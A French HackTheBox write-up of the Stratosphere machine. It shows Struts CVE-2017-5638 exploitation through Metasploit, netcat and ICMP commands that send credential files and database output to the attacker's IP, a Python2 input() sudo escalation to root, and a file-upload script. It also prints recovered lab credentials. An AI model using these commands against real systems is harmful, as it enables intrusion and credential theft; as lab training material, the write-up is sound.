Yet Another HackTheBox CTF
En me lançant sur le CTF Stratosphere je me doutais que ce serait la prochaine machine à être retirée et comme je me suis aussi attaqué à SecNotes l’annonce du retrait de Stratosphere m’a malgré tout pris de cours. Il était temps de concentrer mon temps sur ce dernier pour le terminer :) Voici donc le write-up de ce CTF sympathique.
Equifaxé
La machine en question dispose de 3 ports ouverts : un port standard SSH, et deux serveurs web sur les ports 80 et 8080.
Après une vérification que le second n’est pas un proxy (curl -x http://10.10.10.64:8080/ http://mon_ip/) il semble à première vue que les deux ports fournissent le même contenu.
Le serveur ne révèle pas sa bannière, toutefois si on demande un fichier qui n’existe pas, la mention (Apache Tomcat/8.5.14 (Debian)) apparaît dans le message d’erreur 404.
Un dirbuster sur le port 80 remonte les dossier suivants :
1
2
http://10.10.10.64/manager/ - HTTP 302 (0 bytes, plain) redirects to /manager/html
http://10.10.10.64/Monitoring/ - HTTP 200 (199 bytes, plain)
La première adresse correspond à l’interface manager de Tomcat, déjà rencontrée sur un autre challenge de HTB. Mais ici l’utilisation de comptes par défaut ou l’utilisation d’un module de brute-force (via Metasploit par exemple) n’aboutit nul part.
Sous le dossier Monitoring on trouve différentes pages avec l’extension .action mais le site ne semble être qu’une coquille vide, toute action menant à un message d’erreur (This feature is under construction).
On remarque tout de même un pattern dans le format des URLs (première lettre en majuscule), j’ai donc lancé une recherche sous cette arborescence en appliquant préalablement un capitalize() sur les mots de mon dictionnaire.
Parmi les résultats obtenus le plus intéressant est le script Login_db.action qui retourne une stack trace faisait référence à Struts (un framework J2E).
Une recherche dans Metasploit retourne une poignée d’exploits en en regardant les infos détaillées de chaque module on voit parfois une mention à un script HelloWorld.action.
Est-ce un placeholder ou une véritable réféence à un script présent par défaut ? Toujours est-il qu’il y a bien un HelloWorld.action sur la machine du challenge :)
On devine un clin d’œil au hack de la société Equifax. Cette dernière a été victime d’une intrusion médiatisée via l’exploitation de la faille dans Struts CVE-2017-5638.
On s’empresse alors d’utiliser le module Metasploit correspondant mais malgré plusieurs payloads de reverse shell utilisés force est de constater qu’on est plutôt limité.
Pourtant l’exécution de commande fonctionne car on si on se ping on peut voir les messages nous parvenir :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf exploit(multi/http/struts2_content_type_ognl) > show options
Module options (exploit/multi/http/struts2_content_type_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.10.10.64 yes The target address
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /Monitoring/example/HelloWorld.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(multi/http/struts2_content_type_ognl) > set CMD "ping -c 3 10.10.14.209"
CMD => ping -c 3 10.10.14.209
msf exploit(multi/http/struts2_content_type_ognl) > exploit
[*] Exploit completed, but no session was created.
On est de tout évidence en présence de règles de pare feu assez strictes concernant le trafic sortant :( (et entrant puisque les ports non ouverts sont filtrés)
UDP semble fonctionner à moitié… c’est à dire que si on utilise le payload de reverse shell UDP via socat (proposé par Metasploit) alors on obtient l’invite de commande… puis plus rien.
Cette fois il semble que seul le trafic sortant soit autorisé pour UDP : UDP étant un protocole non connecté, si on tente d’envoyer une commande il est considéré comme une nouvelle communication (et non comme partie d’une communication existante).
Une autre solution est d’exfiltrer les données via ICMP comme c’était le cas pour le CTF Persistence :
1
2
msf exploit(multi/http/struts2_content_type_ognl) > set CMD "ping -p `id | xxd -p -l 16` 10.10.14.209"
CMD => ping -p `id | xxd -p -l 16` 10.10.14.209
Ça ne résous pas réellement notre problème à savoir le besoin d’obtenir un shell interactif (même sans pty, on ne fera pas les difficiles) ou une façon de déposer des fichiers sur la machine :(
La solution la plus évidente serait d’ajouter notre clé SSH dans le fichier .ssh/authorized_keys de l’utilisateur courant (tomcat8).
Malheureusement son dossier personnel (/var/lib/tomcat8 ne nous autorise pas l’écriture).
La machine n’a pas non plus d’adresse IPv6… Comme dirait les fans de NetHack, la DevTeam a pensé à tout :D
Go go gadgeto enumerate
Déçu par ce manque d’ouverture d’esprit, j’ai décidé de continuer à énumérer la machine avec Metasploit d’un côté et de l’autre un Ncat en écoute sur un port UDP, faute de mieux.
La suite logique du CTF semblait consister à obtenir les identifiants du Tomcat pour passer à un autre exploit bien connu :
1
2
msf exploit(multi/http/struts2_content_type_ognl) > set CMD "cat /etc/tomcat8/tomcat-users.xml|netcat -u 10.10.14.209 9999"
CMD => cat /etc/tomcat8/tomcat-users.xml|netcat -u 10.10.14.209 9999
Les infos obtenues semblaient tout à fait réalistes :
1
<user username="teampwner" password="cd@6sY{f^+kZV8J!+o*t|<fpNy]F_(Y$" roles="manager-gui,admin-gui" />
Malheureusement elles se sont révélées être d’aucune utilité ici…
Le mot de passe ne nous permet pas non plus d’accéder en SSH au compte utilisateur présent sur la machine :
1
richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash
Un bon gros grep des familles sur le terme admin permettra finalement de faire remonter le fichier /var/lib/tomcat8/db_connect (le nom du fichier ne semble pas standard d’après la quantité de résultats sur Google).
1
2
3
4
5
6
7
[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin
En listant les processus j’ai préalablement remarqué la présence d’un serveur MySQL. Sert-il à quelque chose ? Il suffit de passer les identifiants et la requête sur la ligne de commande (sans oublier la redirection d’erreur) :
1
echo 'show databases;'|mysql -uadmin -padmin 2>&1|netcat -u 10.10.14.209 8888
Finalement on obtient un retour positif :
1
2
3
4
5
6
7
8
devloop@kali:~/Documents/stratosphere$ ncat -l -p 8888 -v -u
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.10.10.64.
Database
information_schema
users
On enchaîne sur un show tables puis un select * :
1
2
3
4
5
Tables_in_users
accounts
fullName password username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard
Ça y est on le tient enfin le mot de passe de cet enc**eur de maman !
Python skills 101
L’accès SSH nous permet d’obtenir le flag utilisateur (e610b298611fa732fca1665a1c02336b)
1
2
3
4
5
6
richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
Une entrée sudo nous permet d’exécuter un script via Python2 ou Python3. Bien sûr on ne dispose pas d’autorisations en récrire sur ce script dont voici le contenu :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
sha1 = hashlib.sha1()
sha1.update(q2.encode())
if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
print("Nope, that one didn't work...")
return
print("WOW, you're really good at this!")
q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
md4 = hashlib.new('md4')
md4.update(q3.encode())
if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
print("Yeah, I don't think that's right.")
return
print("OK, OK! I get it. You know how to crack hashes...")
q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
blake = hashlib.new('BLAKE2b512')
blake.update(q4.encode())
if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
print("You were so close! urg... sorry rules are rules.")
return
import os
os.system('/root/success.py')
return
question()
Ça semblait un peut gros d’avoir à résoudre un exercice style jeopardy après être passé par des étapes que l’on aurait pu croiser dans la réalité vraie.
Ici, on voit clairement la présence d’env_reset dans la ligne sudo donc pas de bypass via une variable d’environnement possible (PYTHONPATH, PYTHONSTARTUP, etc).
Il est temps de se pencher sur le contenu du code et avec mon background Python j’ai rapidement tilté sur l’utilisation de input() qui est considéré non-sûr via Python2, ou devrais-je plutôt dire c’est une feature expliquée noir sur blanc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
richard@stratosphere:~$ sudo python2 /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
__import__("os").system("/bin/bash -p")
root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)
root@stratosphere:/home/richard# cd /root
root@stratosphere:~# cat root.txt
d41d8cd98f00b204e9800998ecf8427e
root@stratosphere:~# exit
exit
Traceback (most recent call last):
File "/home/richard/test.py", line 38, in <module>
question()
File "/home/richard/test.py", line 8, in question
md5.update(q1.encode())
AttributeError: 'int' object has no attribute 'encode'
Bonux
Pour obtenir un shell plus tôt sur ce CTF on aurait pu déposer d’un shell ICMP comme celui-ci. Il n’en reste pas moins qu’il faut être capable de déposer un fichier sur la machine.
J’ai écrit un script qui effectue cette opération en encodant un fichier en base64 et l’envoi ligne par ligne sur la machine cible avant de le décoder :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import sys
filename = sys.argv[1]
dest = "/tmp/{}".format(os.path.basename(filename))
os.system("rm /tmp/yolo 2>/dev/null; base64 '{}' > /tmp/yolo".format(filename))
os.system('python 41570.py http://10.10.10.64/Monitoring/example/HelloWorld.action "rm /tmp/yolo 2>/dev/null; touch /tmp/yolo"')
with open("/tmp/yolo") as fd:
for line in fd:
line = line.strip()
os.system('python 41570.py http://10.10.10.64/Monitoring/example/HelloWorld.action "echo {} >> /tmp/yolo"'.format(line))
os.system('python 41570.py http://10.10.10.64/Monitoring/example/HelloWorld.action "base64 -d /tmp/yolo > {}"'.format(dest))
Le code est un peu crado (beaucoup d’appel à system()), il fait appel à un exploit pour la même faille Struts.
Ça m’a ainsi permis d’uploader un LinEnum qui ne m’a finalement rien rapporté.
That’s about it
Ce fut un CTF intéressant de part ses règles de pare feu et son énumération locale qui a été assez laborieuse :p
Published September 01 2018 at 18:56